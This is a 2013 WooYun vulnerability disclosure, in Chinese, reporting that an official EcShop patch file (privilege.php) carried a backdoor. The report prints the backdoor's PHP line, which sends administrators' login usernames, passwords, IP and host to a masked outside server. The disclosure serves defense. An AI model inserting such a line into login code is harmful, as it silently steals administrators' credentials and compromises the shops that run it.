WooYun.org

漏洞概要 关注数(68) 关注此漏洞

缺陷编号： WooYun-2013-25145

漏洞标题： EcShop官方补丁存后门（非lib_base.php那个），反向分析到黑客服务器，已证明大量电商网站中招

相关厂商： ShopEx

漏洞作者： 路人甲

提交时间： 2013-06-04 19:35

公开时间： 2013-09-02 19:36

漏洞类型： 地下0day/成功的入侵事件

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 第三方不可信程序 ecshop 内部管理不完善 应用程序后门 项目管理不当 官方程序被替换

5人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2013-06-04： 细节已通知厂商并且等待厂商处理中
2013-06-05： 厂商已经确认，细节仅向厂商公开
2013-06-08： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2013-07-30： 细节向核心白帽子及相关领域专家公开
2013-08-09： 细节向普通白帽子公开
2013-08-19： 细节向实习白帽子公开
2013-09-02： 细节向公众公开

简要描述：

我们的网站ecshop有点二次开发，所以每次升级补丁都要对比下修改，结果这次对比发现了个大问题，官方的补丁文件内有段后门代码，目前来看应该是截订单的人留得，黑暗啊！

反向分析了后门源码，找到了黑客的服务器，目测已经大量电商沦陷，我的妈呀！Ecshop你叫我们小站长肿么办！！

求乌云救救我们！！

详细说明：

http://**.**.**.**/share/link?shareid=3699376066&uk=456103769

stat privilege.php 


16777218 43425476 -rw-r--r-- 1 root root 0 25952 "Jun  4 19:16:09 2013" "May  6 14:18:36 2013" "Jun  4 18:59:14 2013" "May  6 14:18:36 2013" 4096 56 0 privilege.php





@file_get_contents('http://**.**.**.**/api/manyou/ecshop/w2.php?username='.$_POST['username'].'&password='.$_POST['password'].'---'.$_SERVER['REMOTE_ADDR'].'---'.date('Y-m-d|H:i:s').'---'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);





        // 登录成功


        set_admin_session($row['user_id'], $row['user_name'], $row['action_list'], $row['last_login']);

漏洞证明：

http://**.**.**.**/api/manyou/ecshop/

http://**.**.**.**/api/manyou/ecshop/ok.php

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

评价